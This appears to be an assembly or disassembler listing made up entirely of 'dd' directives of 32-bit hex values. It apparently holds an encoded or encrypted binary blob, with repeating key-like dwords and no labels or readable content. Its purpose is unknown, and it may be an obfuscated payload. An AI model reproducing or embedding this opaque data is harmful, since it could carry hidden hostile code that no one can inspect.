		dd 2A2A8DA7h, 48FD14BDh, 88339469h, 7FCA1566h, 394B45E3h
		dd 54B71A60h, 87321566h, 44320DEAh, 2221FC66h, 4FB01566h
		dd 89D7644Eh, 2498DCC3h, 0D24490C5h, 504CAC21h,	0F5B79ED7h
		dd 0BC340162h, 0DDCDAB30h, 0E61BEA99h, 99B61A38h, 0AD321566h
		dd 2232156Ah, 0D59F8C86h, 0E6D06003h, 9B276AB4h, 135FA8E5h
		dd 1E321372h, 883826E2h, 43B11A66h, 42321566h, 77DC9400h
		dd 0D097446h, 42296DBAh, 221E9069h, 90521566h, 65EE5B91h
		dd 25F39E70h, 22339E69h, 9ACB1566h, 9C2B24E3h, 4434FC60h
		dd 60A11566h, 0D906178Ch, 8833AE35h, 9B331566h,	0A709E03Dh
		dd 17296C16h, 88659069h, 0C13D1566h, 22321567h,	70B79E9Fh
		dd 61340164h, 4432156Eh, 33AB39C2h, 23A30509h, 0BB5EAD36h
		dd 94C51E51h, 0FAC5CD91h, 0D9FE814Bh, 0D0F53C92h, 0C73D759Eh
		dd 22321564h, 0F9527406h, 88321576h, 1EC3200Bh,	611139C0h
		dd 5A712CD3h, 0F2DA129Eh, 44BA1A3Eh, 43321566h,	0F1B72E07h
		dd 87340E1Eh, 44325BE3h, 0AE3D7566h, 11321565h,	0EE68FBE6h
		dd 0CF53C3EDh, 36170CE3h, 1121FC60h, 1F751566h,	23FCC8Fh
		dd 0F99B65DCh, 51C42247h, 0F80869A6h, 458C434Fh, 23321566h
		dd 5DB4B91h, 7E321566h,	97641F3Eh, 196B1477h, 1B507D2h
		dd 0DB7194DFh, 7FE35679h, 394AF1E3h, 53B71A60h,	87321566h
		dd 443202EDh, 2220FC66h, 5FA1566h, 2AF18E2Dh, 83E3F173h
		dd 0F061BDE8h, 1E6701F4h, 9A8790EDh, 54DB1372h,	0B7321566h
		dd 18EDC622h, 277FBCDCh, 0B165F7F2h, 70ACE34Bh,	113214DCh
		dd 0D2E51466h, 0ACB72E9Ah, 2D340E1Eh, 11327BE3h, 8822FC66h
		dd 0A9B31566h, 0A9B84B72h, 9E40EE0Fh, 580FB4D9h, 0C1B94B2Fh
		dd 24263E53h, 0F3B37506h, 8C5D8BE6h, 44321C8Eh,	0FCFEE066h
		dd 406A96E6h, 0E9688AC7h, 44321F8Eh, 3CCC9B66h,	0BD210433h
		dd 3D7930Fh, 4B534B95h,	223219E6h, 1135FC66h, 0E3861566h
		dd 85FE5391h, 308847E6h, 9029643Eh, 3067A894h, 14F0945Ch
		dd 0BEC2394h, 2AC74FB1h, 934AF9E3h, 72B71A60h, 0DB321566h
		dd 313BA8E5h, 87321372h, 44323DE3h, 2EBC1A66h, 1E321566h
		dd 883213E2h, 44B01A66h, 0A9321566h, 5100CE3h, 0EECA7560h
		dd 1253CDEDh, 223214D8h, 4FC51466h, 78B72E9Ah, 4B340E1Eh
		dd 22327CE3h, 1EBA1A66h, 61321566h, 4432156Ch, 702C509Ch
		dd 6DE8DBA7h, 0DB9BA72h, 42263443h, 0A2D79F06h,	1E534390h
		dd 883202E3h, 4420FC66h, 6BE81566h, 4A7F0826h, 0F0D54232h
		dd 34A32BD7h, 7D98140h,	0EECDAF34h, 5F1BEA99h, 443FFC3Ch
		dd 6081566h, 0EE4B0B9Ch, 8C9ADCE5h, 24411A4Bh, 0D0B6A3DCh
		dd 9B3D4203h, 88321566h, 0C109743Dh, 24296D92h,	11779069h
		dd 83D1566h, 44321567h,	2B8F969Eh, 11340146h, 88039069h
		dd 48DB1566h, 18321566h, 0BA5FCCEFh, 1A401131h,	0CFAE9792h
		dd 361BA8E3h, 0E6B97560h, 0E9CC9E00h, 0BBCDAE35h, 0FD1BEA99h
		dd 1137FC3Dh, 27051566h, 7F536A18h, 394AEDE3h, 48B71A60h
		dd 61321566h, 44321577h, 220D9335h, 75DC8B6Dh, 21B85160h
		dd 3A3F141Bh, 1BB79E2Bh, 0F834017Bh, 8832156Eh,	0D07FB931h
		dd 0EAC000AEh, 11239A69h, 93D1566h, 4432156Dh, 2232138Fh
		dd 0D2D9DF66h, 0D9ABD214h, 443214DFh, 7BFD1466h, 11389069h
		dd 87521566h, 0A58DC3D9h, 432D8841h, 69CE905Dh,	0D3D137Dh
		dd 4432152Dh, 22321E8Fh, 1CB1B666h, 83D4CFBEh, 0B8F6EBF2h
		dd 0EBF90EDh, 9D3D1372h, 8832156Ah, 82B37306h, 0A3540C9Dh
		dd 70C9FCBCh, 0C840AE35h, 0A7F37934h, 5D99465h,	0D0451210h
		dd 7BB31285h, 380047A3h, 3B88D6E7h, 0CE1B53EDh,	0B3C7E93Dh
		dd 5F4B11E3h, 72B71A60h, 0E9321566h, 0A83BA8E5h, 4B321372h
		dd 223257E3h, 1120FC66h, 5D7A1566h, 57415ECAh, 5B82ECB0h
		dd 0D020E3AFh, 0DD6557E8h, 740390EDh, 70C71372h, 113214DCh
		dd 0D2E51466h, 4421FD06h, 60DB1566h, 2997233Eh,	1D272862h
		dd 0CAD833A8h, 611DFCF3h, 2A534E47h, 934B15E3h,	11B71A60h
		dd 2D321566h, 11320CE8h, 8826FC66h, 2A5D1566h, 4620813h
		dd 0FC0B3212h, 4543959Ah, 5EF4895Eh, 9FB10ED8h,	1726356Fh
		dd 0A1B71A66h, 0AD321566h, 2232156Ch, 6B6C11A5h, 0EA6BB3A7h
		dd 0C1B9F5BDh, 24261657h, 1088479Eh, 89321566h,	41DB4FB1h
		dd 4A321566h, 0E68097DCh, 0F13A905Dh, 0C13D137Dh, 22321504h
		dd 1132058Fh, 0EBF61666h, 87D8D16h, 8C2DDD28h, 1CDFE5DAh
		dd 1B79EF4h, 2434016Fh,	22219369h, 1CDA1566h, 18321566h
		dd 1133E0C5h, 2CDACE8Ch, 35B533D3h, 8837FD39h, 0F5FF1566h
		dd 2D44DC9Fh, 113215EEh, 0DB534F66h, 0BBCDEADDh, 79ED3C99h
		dd 113E9769h, 0D3D1566h, 44321560h, 22329C69h, 94091566h
		dd 8E296C6Ah, 440E9069h, 32DB1566h, 3321566h, 0E029CD52h
		dd 0B8593E19h, 46AD5200h, 9A478887h, 9C30CCE3h,	0FD63E960h
		dd 22321567h, 0F86BDA67h, 88321574h, 926A77E2h,	5224FB86h
		dd 34F91A13h, 62BEA7EFh, 0C109B24Ah, 24296C76h,	111E9069h
		dd 8FDB1566h, 0FD321566h, 0D43463D5h, 94B9F7E7h, 8E2615CFh
		dd 458A459Ah, 23321566h, 1ADB4DA1h, 8D321566h, 43AF7E8Ch
		dd 7CCB9951h, 9409F7B3h, 8E296C72h, 44109069h, 0A9CB1566h
		dd 5107CE3h, 3F3D7560h,	0D7DB94BEh, 4379F4A6h, 1133AD36h
		dd 4F331566h, 0C554753Eh, 438A4994h, 682A905Dh,	0D3D137Dh
		dd 443215FBh, 22279C69h, 1DB1566h, 24321566h, 8AAC227h
		dd 0D798D9C7h, 968D9064h, 3545791h, 5022F4E3h, 24DB7560h
		dd 0E8321566h, 4DAFA44Fh, 878D1A0Fh, 223CFC07h,	0C8A01566h
		dd 11D9AD06h, 2BC862B0h, 0EB85F685h, 4D59AE35h,	0CB796AC3h
		dd 4663FEE7h, 0D1B348DEh, 30DF4F7Dh, 8769CA67h,	44320FE2h
		dd 36B31A66h, 0F8321566h, 88321569h, 4066FF42h,	0E49D1A7Fh
		dd 251EC49Dh, 0E8C9D6A4h
		dd 4432018Eh, 0A65BDF66h, 0E6CBF2A8h, 758E0492h, 0BA5A71AEh
		dd 55801756h, 36897350h, 5EB94A83h, 58B72E07h, 2D340E1Fh
		dd 113255E3h, 3CBEC66h,	501654E3h, 223EFC60h, 4E301566h
		dd 0C8F2EB6h, 693098B4h, 0CEB116EBh, 350E9C62h,	0D7161199h
		dd 44321A8Fh, 0A18A5D66h, 0A5C6B936h, 7D73CFA3h, 1992C611h
		dd 0C9B37306h, 9385411Ah, 0A8B72E07h, 4B340E1Fh, 223259E3h
		dd 1ADA7566h, 0D1321566h, 39D2CE04h, 0CF52414h,	70689F23h
		dd 0AE7790EDh, 55DB1372h, 10321566h, 0D5125305h, 8002F148h
		dd 0E6014671h, 0B8E55603h, 0EECDAC37h, 471BEA99h, 443DFC3Fh
		dd 0B2C1566h, 8C77061Eh, 0B0875517h, 86C4ECD2h,	6B72E9Bh
		dd 1E340E1Fh, 883254E3h, 443FFC66h, 52871566h, 53379BBCh
		dd 0AA708EBAh, 0CF04AB69h, 361BB0E3h, 943DE060h, 8832156Ah
		dd 44349969h, 0AA3D1566h, 11321566h, 8833A833h,	0AB331566h
		dd 25BC1A3Bh, 1E321566h, 883214EFh, 0C109E066h,	242636B3h
		dd 11039069h, 86DB1566h, 7D321566h, 8BA9CC89h, 0B59F6C6Ah
		dd 4A40C1B0h, 0BDB79E47h, 2D340170h, 113212EBh,	0D1657566h
		dd 2569D1E6h, 2233AF34h, 0C6331566h, 0B3CAEC3Ch, 5F4B3DE3h
		dd 0DB71A60h, 71321566h, 87B0C8E6h, 443217ECh, 437EA366h
		dd 49F90EDh, 43D1372h, 4432156Ah, 1864AA06h, 90545024h
		dd 0E9FDBD8Fh, 0BE03C257h, 0A570C257h, 9409E9B1h, 8E296C02h
		dd 445E9069h, 0A53D1566h, 11321568h, 88321C8Fh,	675A5A66h
		dd 0A92D1E39h, 0ACB1434Ah, 8E296C0Ah, 5AB71A66h, 0CB321566h
		dd 1132156Dh, 108549D6h, 0B1B5384Ah, 0A1608FBBh, 51E4CDBh
		dd 0C3D1560h, 44321548h, 0BBB79E9Eh, 1E340142h,	88321FE0h
		dd 4437FC66h, 0F7911566h, 41BC7333h, 77CDEADEh,	1CF53C99h
		dd 223A9569h, 90521566h, 0EE94DA97h, 0C1097458h, 24296C0Eh
		dd 11429069h, 82DB1566h, 0E4321566h, 74DAC619h,	0F9C55807h
		dd 0E48F96ECh, 44340E1Fh, 22169069h, 953D1566h,	88321567h
		dd 0F9B1ED9Ah, 2426393Fh, 2EB61A66h, 0E8321566h, 44339369h
		dd 2DCB1566h, 113215E7h, 0DB97466h, 42261EDFh, 0CA8AAA06h
		dd 1688437Fh, 0E944C119h, 1D6D4431h, 2DFD9227h,	113204E4h
		dd 83B11A66h, 0AD321566h, 22321560h, 0D1655208h, 0D09088Bh
		dd 42296C4Ah, 221F9069h, 9ACA1566h, 9C29A0E3h, 443AFC60h
		dd 47D21566h, 5BC8ADFFh, 3567810Eh, 0BBCDEA99h,	0CB6FFA4Fh
		dd 1132156Dh, 315C3EF2h, 97DA73A1h, 1992CD45h, 0A4B25E3h
		dd 0C6B71A60h, 4B321566h, 22320CE4h, 1DB7566h, 1D321566h
		dd 0C66EBC2h, 0A78ACF64h, 0E14F6BDBh, 0E8946BA2h, 0C1B97407h
		dd 24260927h, 108A459Ah, 89321566h, 0F1524DA1h,	223EFC0Eh
		dd 7E0C1566h, 0BF111581h, 250A6DDEh, 4253A2B9h,	0A741A5DFh
		dd 71851A26h, 70B72E07h, 2D340E1Fh, 113244E3h, 89B41A66h
		dd 0B1321566h, 0BAB90EDh, 1DB1372h, 56321566h, 76CD77B3h
		dd 8DC06742h, 0F388DD65h, 6156F46Bh, 44321572h,	82BE6571h
		dd 0A3A6AA7Ah, 0F155A0CFh, 70DC7B20h, 80AA7812h, 0EECDA833h
		dd 671BEA99h, 0CF54753Bh, 20B61AA4h, 0A6321566h, 0D09743Bh
		dd 42296C5Eh, 22719069h, 923D1566h, 88321561h, 44339E69h
		dd 2DCE1566h, 113214E1h, 0DB9E966h, 422605D7h, 0F8897306h
		dd 1138FC0Ch, 0F57A1566h, 0BE8349CCh, 0DB0DE07Fh, 108F4007h
		dd 89321566h, 42DB4889h, 37321566h, 188B5D17h, 0B4B72EEAh
		dd 4B340E1Fh, 223226E3h, 94B9E966h, 8E260903h, 0B3B37306h
		dd 2D52FAC0h, 113215EEh, 0F4897366h, 14537478h,	0DDCDEADEh
		dd 49F53C99h, 88321E8Fh, 0D7B8A366h, 1AFD33CBh,	5E698B88h
		dd 0F172905Dh, 0C13D137Dh, 2232155Ah, 1132128Fh, 351C1A66h
		dd 357AACBFh, 2232138Fh, 8A739D66h, 3B9EAD7h, 502B24E3h
		dd 2222FC60h, 7CE1566h,	2876D1E0h, 9002D502h, 23C0D102h
		dd 0A96205D2h, 77CDEA99h, 0BD6AD24Fh, 0A63DEA6Dh, 11321552h
		dd 33544206h, 246ACFD4h, 2DF49E00h, 7053D5D9h, 8832078Fh
		dd 86C51266h, 0C070CED2h, 0A2962DA3h, 305D5C95h, 0AD2E51A6h
		dd 0DDCDF94Ch, 0D8851A06h, 0E9E8AA69h, 7063905Dh, 0A73D1372h
		dd 11321528h, 0DEB7989Fh, 4B340E66h, 223214E7h,	12DBED66h
		dd 0E8CDEA8Ah, 44321A8Fh, 1EC9466h, 731A8CD3h, 0CFD9BBB2h
		dd 62B7C62Ch, 2232188Eh, 0D322FF66h, 710FD5E1h,	89DFA5ABh
		dd 2EDB79BAh, 81321566h, 0B2CD8F0Eh, 73E321F7h,	79B3F2C0h
		dd 9409ED07h, 8E261CDBh, 447F9069h, 75521566h, 0AF91E7E7h
		dd 366C6493h, 5D48E187h, 0AE8F9607h, 10340E1Eh,	88039069h
		dd 0C9CB1566h, 7B3972E3h, 19B01A66h, 87321566h,	443217E3h
		dd 0CB537566h, 0EECDFEE0h, 8DBC1A06h, 22321566h, 5046C4E7h
		dd 11369869h, 37541566h, 7F53B81Bh, 394A89E3h, 3FB61A60h
		dd 0E8321566h, 44309969h, 0D5B91566h, 0B1B72E07h, 87340E1Eh
		dd 44323DE3h, 30B21A66h, 0F8321566h, 8832156Bh,	0B0321718h
		dd 98B79ADEh, 351A2E5Bh, 6302FC96h, 24CBEA99h, 9DE19E00h
		dd 292E2E85h, 8CDE9607h, 0FC1611EFh, 22321566h,	0F86AD3EFh
		dd 88321560h, 2498DCC3h, 0DCB190C5h, 0A8B71A67h, 7D321566h
		dd 3CA2905Dh, 0A73D137Dh, 11321520h, 88359269h,	0C03D1566h
		dd 22321567h, 0D5B79893h, 61324DE1h, 4432156Bh,	1082593Fh
		dd 0AB54ACF9h, 0A708F0F6h, 0FC54752Ch, 4252ADC7h, 7059AF07h
		dd 0E95314DEh, 0BBD8A88Fh, 25BB1A99h, 1E321566h, 883214E6h
		dd 0C109ED66h, 24296DF2h, 11189069h, 5CA1566h, 1CBA2FE3h
		dd 0CF8B7566h, 7719D71Ch, 2589FDE7h, 0CFDBE007h, 2DCDEA8Ch
		dd 11321EE9h, 8834FC66h, 29891566h, 0F3D3C5E3h,	69AA905Dh
		dd 0D3D137Dh, 44321542h, 2232108Fh, 0F673C966h,	0DBFFFD4h
		dd 446A9D19h, 223A9E69h, 953D1566h, 88321564h, 0FDB7406h
		dd 0DBCDEA8Ch, 35369E36h, 8836D1E7h, 0C33D1566h, 22321570h
		dd 1132048Fh, 953C1566h, 5525939Dh, 1D789E9Bh, 0C7130DC2h
		dd 31633769h, 2822738Fh, 0CBF3CC91h, 50E3E263h,	0C604AE35h
		dd 0AFE3604Dh, 4447E6E7h, 0FAF30C2Eh, 9E1E262h,	196D3695h
		dd 79EB149Fh, 0ED6BDBEFh, 0D3DE36Dh, 44321570h,	0CB9BFC9Eh
		dd 1ADBEA99h, 4A321566h, 6E7A791Bh, 654056CCh, 0FDB334CDh
		dd 88321562h, 0CD1619EFh, 7BFC9CA7h, 0BCC39406h, 0EE0D16B5h
		dd 254523DFh, 26C7A0EFh, 98CB1372h, 9C13A0D3h, 43B81A60h
		dd 2D321566h, 113214EFh, 0C3DE966h, 44321561h, 22339469h
		dd 91CE1566h, 0D3DFC58h, 44321466h, 223F9269h, 0A8521566h
		dd 94C27468h, 44329D69h, 72531566h, 113214DEh, 0D9C21466h
		dd 443215DFh, 0A9F31466h, 1E6A4C5Fh, 883201E2h,	443DFC66h
		dd 2C141566h, 9723EBCDh, 0E83C38BBh, 0EB0457C1h, 2DF594E1h
		dd 1001751Eh, 878A4591h, 6D01751Eh, 9D524DA1h, 34EA9366h
		dd 0DE53E1ECh, 6D1611E7h, 7904D413h, 43FCAD36h,	2D1F2694h
		dd 6DCF25BBh, 0A43D4DA5h, 11321574h, 8832188Fh,	0BF376466h
		dd 0A9CA2A88h, 0DF36A6E1h, 0D860DD01h, 334ABDEh, 648CAF66h
		dd 0D31B1521h, 0D2E1143Eh, 0B18F2E9Eh, 2D340162h, 11322BE4h
		dd 81B31A66h, 24321566h, 0A3544B34h, 70327D94h,	0E3DEE5Dh
		dd 44321526h, 2232078Fh, 8DC97666h, 5C5EBC5Dh, 21CED5A6h
		dd 7554D95Bh, 71950FFFh, 8832138Fh, 3582F466h, 2D6D10FBh
		dd 0F853E5D1h, 77CDFD05h
		dd 4432138Fh, 89E7A466h, 71427E79h, 535AA00h, 25EA9E00h
		dd 3A87A8EDh, 0F8521372h, 88321577h, 5B8CA364h,	243D6F62h
		dd 96D97BEBh, 90C37635h, 95B37382h, 0E5536B07h,	521B4E3h
		dd 88321560h, 24CEE966h, 22339B69h, 98CE1566h, 9C13A0D3h
		dd 45BF1A60h, 0DE321566h, 0EDED88EBh, 8752137Dh, 443213ECh
		dd 0ACF59466h, 7033BC2Eh, 0E852C699h, 4BF8A269h, 0CA53EFD1h
		dd 11321576h, 0DA1ED2A9h, 0A57FE6B1h, 1C9F4E42h, 7BF2B93h
		dd 0D1E49E00h, 4BF21E07h, 22325AE2h, 0F9527566h, 88321574h
		dd 29A4A25Ch, 894DFDD4h, 2030BC5Fh, 0F8A2991h, 256BFA70h
		dd 22379B69h, 77881566h, 0E96F8578h, 4435FD06h,	1F311566h
		dd 5A4AA42Ch, 68B373F9h, 2468AC4Bh, 43534B31h, 1132968Fh
		dd 3F3D7566h, 77E494BDh, 434AFCE6h, 9FEE88EBh, 53D137Fh
		dd 4432156Ch, 2D2DA506h, 113215EFh, 5BCD7466h, 0BB779669h
		dd 25DBEA99h, 2A321566h, 880BF551h, 0F1B9B923h,	242634D3h
		dd 0B0879C93h, 61340175h, 4432156Dh, 0ECC3915h,	10D1003Dh
		dd 530C95Dh, 5EA4E3FBh,	2222FC60h, 0D8A41566h, 0A85714C3h
		dd 7EB670CBh, 8B144ACEh, 0C2CD7D87h, 88321A8Fh,	0F60BD766h
		dd 0FD0D7EBAh, 0E5FCC6A3h, 1C24FF38h, 40C790EDh, 0CA521372h
		dd 1132156Fh, 0FE1D4318h, 8D66B03Ch, 0A86AED3Dh, 94BB74A1h
		dd 8E2634D3h, 44339169h, 43CB1566h, 1EC99E06h, 883211E0h
		dd 0A08C7366h, 1CB2746Dh, 0B2B71A8Eh, 87321566h, 443214EFh
		dd 9FB1EC66h, 1726165Fh, 7B61A66h, 0AD321566h, 2232156Ah
		dd 0F72781BEh, 5A650C5Ah, 93E0A328h, 1436BAD6h,	3537FDA6h
		dd 48F2EB6Ch, 0F3611D8Eh, 0A2F5EB5Ch, 0E91A3189h, 1E8C753Dh
		dd 0BC71D173h, 2235FC07h, 0D30B1566h, 1D354E30h, 0C7C7BFDEh
		dd 16BB118Ah, 14C74D42h, 0E2AC59C3h, 0F967ED4Fh, 48AC59C3h
		dd 716FFD4Fh, 4A9CEADEh, 0A1C5940Ch, 431CAB2Ch,	1136F9E7h
		dd 0BCBB1566h, 4436AB42h, 0D21B1566h, 1AB91A38h, 61321566h
		dd 44321560h, 0EF1F575Ah, 0E89950FAh, 8830008Fh, 0D9BFEC66h
		dd 2429F6F6h, 11389B69h, 8DDB1566h, 0FE321566h,	0DAD2A56Ch
		dd 9CCAC699h, 93CA15FBh, 4EB11A60h, 42321566h, 913DEDEDh
		dd 88321566h, 4434FC07h, 98671566h, 0E2132A8Bh,	252C699h
		dd 0EA6CAF83h, 0DA536795h, 943DD56Dh, 88321579h, 4432018Fh
		dd 53DED766h, 49F5DEE7h, 145208E3h, 1C9C96C8h, 0C689C7F4h
		dd 1127FC89h, 0BC71566h, 5013A0E3h, 0A33D1060h,	11321567h
		dd 76E6FC9Eh, 0C9CAEA99h, 39C832FBh, 1135FC60h,	0F7DA1566h
		dd 469B2CCDh, 0CBE1EA57h, 11321572h, 5317717h, 0CBE0D6Fh
		dd 84CB2Ch, 0FDC31A1Dh,	8FAE92E8h, 0C13DD56Dh, 22321561h
		dd 110DFC9Eh, 0D9CB1566h, 443211DFh, 4BD89466h,	101DBE2Ch
		dd 0E1F094ACh, 1D1DBE2Ch, 22321E8Fh, 0B18ADA66h, 95D1C4AEh
		dd 7127C818h, 2233388Fh, 1FBA1A66h, 61321566h, 4432156Fh
		dd 9AC96ADEh, 60A8671Ah, 54AF98A1h, 0BC340CE8h,	0A13DC699h
		dd 11321532h, 88321E8Fh, 62F78D66h, 8691A471h, 0E3C47C9Ah
		dd 0D1CB4706h, 44249769h, 33DB1566h, 72321566h,	94E4894Eh
		dd 0FCEAB73h, 0D43E4545h, 3D2ABC19h, 3D879E07h,	24340147h
		dd 2DC3AA69h, 0F853C2D9h, 88323878h, 4DB71A9Ah,	42321566h
		dd 0E946A2DEh, 0E9C19F7Fh, 658798EDh, 2EDB1372h, 0FD321566h
		dd 0B1BAFCF2h, 8A94897Eh, 42B78897h, 11329269h,	0C8881566h
		dd 256289A4h, 387A0EFh,	1ADB1372h, 73321566h, 0B440F737h
		dd 0EBD95DE5h, 1E52A6C6h, 3F3DCDD9h, 0F96774B1h, 55B2707Ch
		dd 221BF8E7h, 65F305E2h, 1FDF9463h, 0A3439B10h,	534BC493h
		dd 0D5DB3CF6h, 85B3E44Fh, 23D90783h, 0E6E3929Ah, 0B9E324BCh
		dd 0B8E324ACh, 5C87FBE7h, 0FFB37300h, 0E69B66F5h, 82B3DB4Fh
		dd 4C9B66F5h, 6F87D3E7h, 74527300h, 8CFB9400h, 86C174B7h
		dd 113E9369h, 53D1566h,	44321560h, 22329D69h, 56DB1566h
		dd 87CDEA9Bh, 443214EDh, 0BFBFE066h, 17288DBCh,	883C9669h
		dd 4B521566h, 223215E6h, 0DBDD9466h, 0E96472D9h, 48DBC699h
		dd 0D0321566h, 99603A94h, 0E5B7FD1Eh, 243636B9h, 0F164AB00h
		dd 0FEF3DDE7h, 0DA536D42h, 0CDCF9C33h, 0F2BB488Ch, 1134FC3Ch
		dd 11AE1566h, 454AC2C7h, 3A87904Dh, 0F8C71372h,	8832156Eh
		dd 277CDCC7h, 4323A664h, 1AFF90EFh, 2521372h, 1DC746A7h
		dd 2ABE1A07h, 1E321566h, 883217EEh, 0CF537566h,	362AA0E3h
		dd 0F8CA7560h, 88321568h, 0F3F8603Bh, 2BAEA440h, 154B002Fh
		dd 0DD53DDCAh, 81B3F0EFh, 22321562h, 1136F8E7h,	0A4B51566h
		dd 78BB4942h, 23B31A42h, 0E8321566h, 1657406h, 40F59481h
		dd 0A3321566h, 11321189h, 0AC0E9266h, 60369C3Ah, 7CBF989Eh
		dd 71340FFDh, 42B3739Fh, 0BB53FBA4h, 3EB91AB7h,	1E321566h
		dd 883203E9h, 4423FC66h, 78F61566h, 9D47121Dh, 53306E51h
		dd 0C9D154A6h, 0A9EA700Fh, 51F48E3h, 0E0CBED60h, 443230D3h
		dd 2D1611EFh, 11321FE6h, 8837FC66h, 0AB051566h,	70DCF3B1h
		dd 0D3B3F7EFh, 88321562h, 4436FFE7h, 36B51566h,	2DBB4942h
		dd 883CFC42h, 22F01566h, 0AA4ABD1Bh, 44FC9718h,	9DCCD2E7h
		dd 5C8790EDh, 42CE1372h, 1EEB9E00h, 883216EEh, 0BEB97366h
		dd 41327D07h, 15BB1566h, 9BB91A42h, 0AD321566h,	22321568h
		dd 4A7F0826h, 0F0D54232h, 34A32BD7h, 0A73D8140h, 1132157Ch
		dd 8823FC06h, 0B8931566h, 5176A012h, 0FAC7385Ch, 2D7A7802h
		dd 142A673Ch, 0AFBF7439h, 1728893Eh, 0E8E3EA9Ah, 2453AAD4h
		dd 22349F69h, 9A3D1566h, 88321566h, 4432018Fh, 0FB8B6D66h
		dd 51F5969Bh, 0D3BC0DCDh, 153DCE79h, 0E836FA48h, 595A74E6h
		dd 1321530h, 70B33162h,	0EF6B0242h, 0E3B34F01h,	0EFFF4C71h
		dd 0FF61459Ah, 2A94771h, 15164967h, 61B34C3Dh, 64A94771h
		dd 22321C8Fh, 0D9496066h, 3BFB49C4h, 57DB7C60h,	36321566h
		dd 31B085E7h, 0F750B46h, 9DF75869h, 28076957h, 9C198967h
		dd 8E26383Bh, 4BF39E06h, 223210E4h, 0DD78AF66h,	0B5371D9h
		dd 501470DBh, 0A63D1560h, 113215E4h, 8EBB1A06h,	4B321566h
		dd 223215E1h, 0CF851A66h, 59B79E07h, 0BD340146h, 457904Dh
		dd 77521372h, 8733D0DCh, 7F53EFD9h, 71B41AA7h, 1E321566h
		dd 883218EEh, 97897566h, 0A354880Fh, 4E8F0A96h,	0DB97424h
		dd 4226172Bh, 22321E8Fh, 47E1966h, 190B1608h, 3F045DFh
		dd 4579065h, 90521372h,	2D14DCB8h, 91EB940Fh, 431A9ED9h
		dd 0CCB79C9Fh, 87340179h, 443214E9h, 0B9DBEC66h, 71321567h
		dd 167E007h, 40F79483h,	0A1321566h, 3DB5118Bh, 84BB4942h
		dd 5DBB1A42h, 0CB321566h, 11321572h, 30FEFAC0h,	3C0E2251h
		dd 0BDA149CAh, 89B9EEB6h, 84F87DC6h, 0CDF99C35h, 62E9EBEh
		dd 1136D1E7h, 0D8521566h, 1AF2AA69h, 9B63749Fh,	0EECDEA99h
		dd 0E86BDD67h, 4432108Eh, 7BD3DD66h, 1CDBA4BDh,	0FB321566h
		dd 8502578h, 0A5286C75h, 8C4817CEh, 73B97338h, 40DE9607h
		dd 9F1639EFh, 7DF1074Bh, 4DB3C891h, 28F1374Ah, 0DE6FFD6Fh
		dd 1133AE35h, 50331566h, 4EBC1A3Dh, 0CB321566h,	11321563h
		dd 6C92D1C4h, 95B79CD4h, 42340146h, 1EF2AA69h, 8953EAD9h
		dd 503D54E3h, 953D7560h, 11BB1AA1h, 0E9321566h,	44321B8Fh
		dd 0C0280766h, 0D1A74ACBh, 9C58D85Dh, 83D1CA4Bh, 361470E3h
		dd 11321560h, 90B51A66h
		dd 0AD321566h, 22321575h, 6717A37Dh, 63564C36h,	473FD1F3h
		dd 151F4900h, 7B544D74h, 885AE926h, 0B1321576h,	0A3D59C31h
		dd 113211A1h, 8CDD9666h, 181629E1h, 0D71619EFh,	0E4CA150Ch
		dd 0AC9B8099h, 50DB1372h, 0AF321566h, 5B0223DBh, 45990630h
		dd 1A682CBCh, 0ED82EA96h, 0EEA00F44h, 9C2298F3h, 45B01A60h
		dd 0DA321566h, 137F90EFh, 1CA1372h, 502DC8E3h, 0C5B37560h
		dd 4E37CC27h, 7BF99400h, 70CD74E4h, 0E6B14C42h,	0FEB37562h
		dd 0F9C31376h, 5BB11A07h, 2D321566h, 11320CE4h,	8826FC66h
		dd 0AB1B1566h, 0DBAC49AFh, 0ED1781CEh, 0E3972EFEh, 0B12246C0h
		dd 97CD8F16h, 17260ABBh, 4EB97306h, 0BB538FD0h,	361F48D3h
		dd 9867ED60h, 8CF79483h, 0C7321566h, 0EB5118Bh,	2DBB4942h
		dd 3DCDEC42h, 42260DD3h, 0F1B97306h, 98E49400h,	0DBF7470h
		dd 4228A614h, 223BFC06h, 0BCE01566h, 257E669h, 25290786h
		dd 0CB52C599h, 11321577h, 0FA8A741Dh, 0C1FFF958h, 0DB3F9F16h
		dd 0A51E441Bh, 8821FCFBh, 77B71566h, 0CF8672Ah,	48E7C74h
		dd 7646FAB8h, 0F6C43CC2h, 0AF3374A5h, 17263303h, 88321D8Fh
		dd 149F7866h, 75B9BDB0h, 0CC8F9E02h, 0E8340179h, 2214C6E6h
		dd 0F3D0E4E7h, 113CFC07h, 628F1566h, 0D93C9515h, 4E78D3AAh
		dd 43689009h, 0A56FA0EDh, 0ADC71372h, 22321569h, 0E9335B11h
		dd 0F8C5508Bh, 21B81CAh, 0D169F878h, 9B5275C2h,	6BFC949Ah
		dd 257920C6h, 0E36AE6E7h, 9A534128h, 9C0674D3h,	4B9FE960h
		dd 22321DE4h, 13B11A66h, 0E8321566h, 78D4207h, 0E51FC929h
		dd 5E71E920h, 316338BAh, 0BBCDEA9Ah, 1B03E467h,	1EDB4A3Fh
		dd 47321566h, 9E56970Ah, 6A3293ACh, 7C040598h, 48F35B34h
		dd 45BB1A63h, 0DA321566h, 509FAA31h, 7F754A06h,	0B9FD94B1h
		dd 0E35D371Ah, 0D6B31189h, 0DAD22EF5h, 0EE15D2E7h, 0DA3306C9h
		dd 17BB1A39h, 0E8321566h, 0D173AA00h, 0DBB71607h, 0ED340142h
		dd 97EF98EDh, 15C71372h, 5521AB30h, 653327ABh, 76C1142h
		dd 571A9466h, 4200D811h, 70E39E00h, 8832188Fh, 0CFFE2566h
		dd 334DFB5Dh, 0EA14C473h, 709F6317h, 0B3B34606h, 41E996DDh
		dd 0E0B3733Fh, 0DB532796h, 0D25D73DDh, 0C4F19468h, 90478428h
		dd 6B155185h, 85E9E223h, 0C9B31685h, 0CFD4D886h, 1ED9C31h
		dd 1F6DE918h, 2232048Fh, 869AB766h, 65846666h, 33362E5h
		dd 0CC542056h, 1ADB8E9Ah, 0CD321566h, 686CCB84h, 515EDBDDh
		dd 0A4BBD984h, 8E262107h, 44339369h, 0A1C71566h, 943DEA9Eh
		dd 883215F6h, 0B8BAA006h, 0FF0C9407h, 1EEFC8BBh, 88326AE3h
		dd 4422FC66h, 5E8A1566h, 0D6438F14h, 0B9510688h, 3AA4C320h
		dd 996176E6h, 11321566h, 94B90BEFh, 40F69642h, 2232068Fh
		dd 60ABD966h, 8E94F162h, 0C19A15C0h, 0BFBBD34Bh, 85EA320Bh
